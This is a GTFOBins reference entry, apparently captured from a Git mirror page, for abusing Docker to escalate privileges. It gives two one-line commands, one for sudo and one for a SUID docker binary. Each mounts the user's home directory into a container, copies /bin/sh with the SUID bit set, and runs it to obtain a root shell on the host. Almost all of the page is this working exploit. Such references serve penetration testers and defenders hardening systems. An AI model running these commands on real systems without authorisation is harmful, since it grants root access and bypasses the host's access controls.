1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/docker.md
2018-10-05 18:55:38 +01:00

598 B

description functions
Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`.
sudo suid
code
sudo docker run --rm -v /home/$USER:/h_docs ubuntu \ sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
code
./docker run --rm -v /home/$USER:/h_docs ubuntu \ sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p